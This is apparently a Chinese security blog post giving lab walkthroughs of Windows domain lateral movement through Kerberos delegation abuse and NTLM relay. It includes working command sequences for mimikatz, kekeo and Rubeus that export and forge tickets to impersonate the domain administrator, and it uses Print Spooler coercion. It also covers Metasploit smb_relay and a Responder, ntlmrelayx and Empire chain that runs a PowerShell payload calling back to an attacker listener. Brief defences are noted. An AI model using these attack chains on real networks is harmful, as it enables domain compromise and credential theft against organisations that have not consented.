Yoga7xm's Blog

内网渗透--横向移动(委派与中继)

内网渗透
字数统计: 2.9k阅读时长: 11 min
2019/04/29 Share

Kerberos委派攻击

将域内用户的权限委派给服务账号，使得服务账号能以用户权限开展域内活动

setspn -U -A variant/golden Alice设置为服务账户

只有服务账户或者主机账户才有委派功能

非约束委派

kerberos_free.png

过程

  1. 用户向AS发送AS_REQ请求Forwardable TGT1（可转发TGT）
  2. AS返回TGT1和SessionKey[TGT1]
  3. 用户向KDC发送AS_REQ请求Forwardable TGT2
  4. AS返回TGT2和SessionKey[TGT2]
  5. 用户使用SessionKey[TGT1] 向TGS发送TGT1，请求与Server 1通信的Service Ticket（ST1）
  6. TGS返回ST1
  7. 用户向Server 1发送（TGT1+ST1+TGT2+SessionKey[TGT2]+….）
  8. Server 1使用SessionKey[TGT2] 向TGS发送TGT2，以用户的名义请求与Server 2通信的Service Ticket（ST2）
  9. TGS返回ST2
  10. Server 1以用户的名义向Server 2发送AP_REQ
  11. Server 2通过验证后，向Server 1响应AP_REP
  12. Server 1向用户响应AP_REP

在这个过程中并没有限制Server 1对TGT2的使用，即Server 1能够请求任何服务

扫描

dev分支下的PowerView

1
2
3
4
5
6
7
. ./PowerView.ps1

# 查询域中配置非约束委派的账户
Get-NetUser -Unconstrained -Domain lab.com

# 查询域中配置非约束委派的主机
Get-NetComputer -Unconstrained -Domain lab.com

利用思路：控制配置非约束委派的服务账号B，并诱骗域管理员来访问服务A，因此可拿下域管的TGT，进而伪造域管身份访问任意服务

实验

环境

  1. DC win08.lab.com 用户Administrator
  2. 域内主机：server08.lab.com 用户Alice

设置服务账号：

1
setspn -U -A variant/golden Alice

流程

  1. 在域控中访问Server08的SMB服务
  2. 在Server08中通过mimikatz导出从Administrator发来的TGT
1
2
privilege::debug
sekurlsa::tickets /export
  1. 可以找到[0;1455b9]-1-0-40a00000-Administrator@krbtgt.lab.com.kirbi就是域控发来的TGT
  2. 导入至内存即可，就能以域管的权限访问任意服务了
1
kerberos::ptt [0;1455b9]-1-0-40a00000-Administrator@krbtgt.lab.com.kirbi

攻击者控制一个开启了非约束委派的主机账户，当域控开启Print Spooler服务时，攻击者可以主动要求域控访问该主机服务器，进而获取DC的TGT

流程

  1. 拿下一个具有Kerberos无约束委派的主机(主机账户)
  2. 找到一台运行Print Spooler服务(默认为自启而且为System权限)的DC
  3. 管理员身份使用Rubeus的监听模式
1
2
3
4
Rubeus.exe monitor /interval:5 /filteruser:DC

#/interval 参数（以秒为单位，默认为60）来指定检查事件日志的频率
#/filteruser:X 参数用于指定只返回特定用户的票据
  1. 向DC Print Spooler发送请求，强制其访问该主机进行身份验证
1
2
3
#管理员身份运行

SpoolSample_v4.5_x64.exe DC win08

###约束委派

即增加了S4U2Proxy和S4U2Self协议扩展

前者的作用是不允许Server 1代表用户请求其他Server，后者是检查用户的合法性

约束委派在Kerberos中User并不会直接发送TGT给服务，而是对发送给Server 1的认证信息做了限制，不允许Server 1代表User使用这个TGT去访问其他服务

过程

kerberos_con.png

  1. 用户已经通过了身份验证之后，向Server 1发出REQ，但是Server端拿不到用户的TGT
  2. Server 1用之前向AS申请的TGT，然后通过S4U2Self扩展请求Server Ticket
  3. KDC返回ST，Server 1代表用户拿到了TGS和ST，但是由于S4U2Proxy的作用，Server 1不能代表用户去访问其他的服务
  4. 响应给用户
  5. 用户再次请求，用户向Server 1发出请求。
  6. Server 1代表指定用户向KDC请求Server Ticket
  7. 如果请求中有PAC，KDC会检查PAC中的签名数据来验证；如果PAC有效或者不存在，KDC会返回Server 2的ST
  8. Server 1使用ST向Server 2发出请求，后者将此请求视为来自于用户
  9. Server 2返回响应
  10. Server 1返回对用户的响应

被设置为TrustedToAuthForDelegation的服务，能够调用S4U2Self向认证服务器为任意用户请求访问自身的可转发的服务票据
也能使用S4U2Proxy协议将用户发送给自己的服务票据再转发给KDC，为用户请求访问服务B的服务票据，此后A便能使用新的服务票据去访问服务B

扫描

1
2
3
4
5
6
7
8
9
10
. ./PowerView.ps1

# 查询域中配置约束委派的账户
Get-DomainUser –TrustedToAuth -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto| fl

# 查询域中配置约束委派的用户
Get-DomainUser -TrustedToAuth -Domain lab.com

# 查询域中配置约束委派的主机
Get-DomainComputer -TrustedToAuth -Domain lab.com

实验

环境

  1. DC：win08.lab.com 域管账号Administrator
  2. 域内主机：server08.lab.com 账号Alice配置约束委派

alice_con.png

流程

  1. 查询域内配置了约束委派的账户

get-Domainuser.png

  1. 使用kekeo对域控发起申请TGT的请求
1
tgt::ask /user:alice /domain:lab.com /password:server08.yoga.com /ticket:alice.kirbi

alice_kekeo.png

在本地生成一个TGT_alice@LAB.COM_krbtgt~lab.com@LAB.COM.kirbi的TGT

  1. 使用kekeo申请服务票据ST
1
2
3
4
tgs::s4u /tgt:TGT_alice@LAB.COM_krbtgt~lab.com@LAB.COM.kirbi /user:administrator@lab.com /service:cifs/win08.lab.com

# /server：想要伪造访问的服务名
# /user:想要伪造的服务名

alice_s4u.png

  1. 使用mimikatz将生成的ST导入Kerberos凭据列表中
1
kerberos::ptt TGS_administrator@lab.com@LAB.COM_cifs~win08.lab.com@LAB.COM.kirbi

alice_ptt.png

Rebeus

直接整合成一条命令

1
Rubeus.exe s4u /user:alice /rc4:5db5cc72fadce1f35a431e55a6e04abb /impersonateuser:administrator /domain:lab.com /msdsspn:cifs/win08.lab.com /ptt

rebeus_con.png

####原理

wireshark全过程抓包详情

kekeo.png

正好发送了两个TGS_REQ请求，查看第一个REQ

kekeo_req1.png

cname和sname都是Alice，所以这个就是S4U2Self扩展协议，用于验证自身。

而且通过S4U2Self获得的服务票据被标志位可转发时，该票据可以在接下来的S4U2Proxy中使用

继续看第二个REQ

kekeo_req2.png

这里就是S4U2Proxy协议中所申请的服务票据，SName的值为cifs/win08.lab.com，与设置允许约束委派的SPN一致

总而言之，这种攻击方式就是通过在Server 1（Alice）中将自己伪造成客户，然后获取允许约束委派的SPN的服务票据

基于资源约束委派进行提权

基于资源的约束委派是一种允许资源自己去设置哪些账户委派给自己的约束委派

传统的约束委派是“正向的”，通过修改服务A属性”msDS-AllowedToDelegateTo”，添加服务B的SPN，设置约束委派对象（服务B），服务A便可以模拟用户向域控制器请求访问服务B以获得服务票据（TGS）来使用服务B的资源。

而基于资源的约束委派则是相反的，通过修改服务B属性”msDS-AllowedToActOnBehalfOfOtherIdentity”，添加服务A的SPN，达到让服务A模拟用户访问B资源的目的。

原理

通过S4U2Self获得的服务票据被标志为可转发时，该票据可以在接下来的S4U2Proxy中被使用，而不可转发的TGS是无法通过S4U2Proxy转发到其他服务进行传统的约束委派认证的。但是，不可转发的TGS可以用于基于资源的约束委派。S4U2Proxy会接收这张不可转发的TGS，请求相关服务并最后得到一张可转发的TGS。

思路

在B上配置基于资源的约束委派让A访问（拥有修改服务B的msDS-AllowedToActOnBehalfOfOtherIdentity属性权限 ），并通过服务A使用S4U2Self向KDC请求任意用户访问自身的服务票据，最后再使用S4U2Proxy转发此票据去请求访问服务B的TGS，那么就能模拟任意用户访问B的服务

NTLM 中继攻击

NTLM 验证流程

SSPI是Windows定义的一套接口，定义了与安全有关的功能函数，包含但不限于

  1. 身份验证机制

  2. 为其他协议提供的Session Security机制，即为通讯提供数据完整性校验以及数据的加、解密功能

SSP作为SSPI的实现者，用于提供安全功能：NTLM SSP、Kerberos、Digest SSP…..

因为SSPI中提供了API，所以基本上层应用利用任何SSP与远程的服务进行了身份验证后，此SSP都会为本次连接生成一个随机Key(Session Key)。上层应用在经过身份验证后，可以选择性使用该Key来对之后发往服务端或者接受自服务端的数据进行签名或加密

过程

  1. 客户端利用NTLM SSP生成NTLM_NEGOTIATE 消息(TYPE 1)，并将其发送给服务端
  2. 服务端收到客户端发来的TYPE 1消息，传入NTLM SSP，得到NTLM_CHALLENGE消息(TYPE 2)，并将此消息返回给客户端。此消息中包含一个由服务端生成的随机值——Challenge
  3. 客户端收到服务端返回的 TYPE 2 消息，并拿出其中Challenge。客户端将密码转换为LM和NTLM哈希，然后对Challenge进行一些计算得到一段数据封装到NTLM_AUTH消息中(TYPE 3)，发往服务端
    1. Net LM-Hash (LM Response)
    2. Net NTLM-Hash (NTLM Response)
    3. Net NTLM2-Hash (NTLM2 Response/NTLM2 Session Response)
    4. Net NTLMv2-Hash (NTLMv2 Response)
    5. Net LMv2-Hash (LMv2 Response)
  4. 服务端收到TYPE 3后，会重复第3步客户端的操作，也计算出一个Hash，然后与客户端发来的Hash进行对比，如果一致，验证成功；否则失败

并且NTLM作为一个嵌入式协议，并没有定义它所依赖的传输层协议，消息的传输完全依赖于使用NTLM的上层协议来决定

协议分析

wireshark抓包捕获数据包，前四个数据包对应NTLM认证的四个步骤

查看第二个数据包，获得Challenge为d4f1ffb182c83c63

然后查看第三个数据包，获得LM Response为2ad5f1f70d8bf29000000000000000000000000000000000；NTLM Response为8a5f5f8f23d3e892d1bd1cbc3d84b37b298e5d31e4ffd2e5；User name为Administrator；Host name为YOGA

【注】如果是Net-NTMLv2的话，会多一项NTLMv2 Respose

SMB-Relay

SMB-Relay指的NTLM是上层协议是SMB的情况，如果是HTTP那就是HTTP-Relay。但是无论上层协议是啥，都能统称为NTLM-Relay

MS08-068

原理

smb协议在访问共享时(UNC路径)会首先先用自己的凭据进行验证，所以导致泄露了自己的Net-NTLM Hash，所以不管pdf、word、sql语句、邮件等等，只要用到UNC的地方都可能泄露

环境

需要关闭SMB签名校验

  1. Win03 192.168.1.191
  2. Kali 　192.168.1.101

exploit/windows/smb/smb_relay模块，设置好payload即可，然后在03中执行dir \\192.168.1.101\c$，就能返回一个System权限的session

smb_relay.png

防御

开启SMB签名校验
开启了signing，在SMB验证成功之后，后续的所有数据包都会利用NTLM SSP生成的这个Session Key进行签名，并且服务端收到数据包后都会检查每个数据包的签名。这个Key的生成需要账号密码的原始LM和NTLM哈希，所以并不能计算出来这个Key

KB957097补丁

通过将收到的challenge与当前自己发出的处于使用状态的challenge进行比对，一旦匹配了，则认证失败，所以抵御了凭据反射攻击。

Responder

虽然无法进行凭据反射，但是通过监听拿到Hash，然后利用Hashcat进行爆破；或者结合ntlmrelayx.py和Empire直接进行Getshell

环境

  1. kali 192.168.1.101
  2. win03 192.168.1.191
  3. win7 192.168.1.119

【注】

  1. win7和win03的Administrator用户的密码相同
  2. 有Administrator访问权限才能返回Shell，普通域用户哈希是拿不到的

利用

  1. 配置Responder应答，修改Responder.conf关闭SMB和HTTP服务，所以这些认证流量只会经过ntlmrelayx的SMB和HTTP服务，最后开启
1
python2 Responder.py -I eth0 -r -d -w
  1. 建立一个Empire监听器并生成Payload
1
2
3
4
5
6
7
(Empire) > listeners
(Empire: listeners) > uselistener http
(Empire: listeners/http) > set Host http://192.168.1.101:8080
(Empire: listeners/http) > set Port 8080
(Empire: listeners/http) > set Name yoga
(Empire: listeners/http) > execute
(Empire: listeners/http) > launcher powershell
  1. 启动Impacket中的中继工具ntlmrelayx.py
1
python2 ntlmrelayx.py -t 192.168.1.119 -c '{powershell payload}'
  1. 在03客户端访问\\yoga路径即可返回Win7的Agent

ntlmrelayx.png

CATALOG
  1. 1. Kerberos委派攻击
    1. 1.1. 非约束委派
      1. 1.1.1. 过程
      2. 1.1.2. 扫描
      3. 1.1.3. 实验
      4. 1.1.4. Print Spooler服务攻击域控
      5. 1.1.5. 过程
      6. 1.1.6. 扫描
      7. 1.1.7. 实验
      8. 1.1.8. 基于资源约束委派进行提权
  2. 2. NTLM 中继攻击
    1. 2.1. NTLM 验证流程
    2. 2.2. SMB-Relay
    3. 2.3. MS08-068
    4. 2.4. Responder
Total : 65
2020
2019
2018
Git Exchange 内网渗透 vulnhub CTF php blog java CORS JSONP deserialize sql注入 web mysql unserialize xxe XSS ctf Mysql Web 隧道 redis 未授权 RFI smtp ssrf Linux vulnstack weblogic cryptology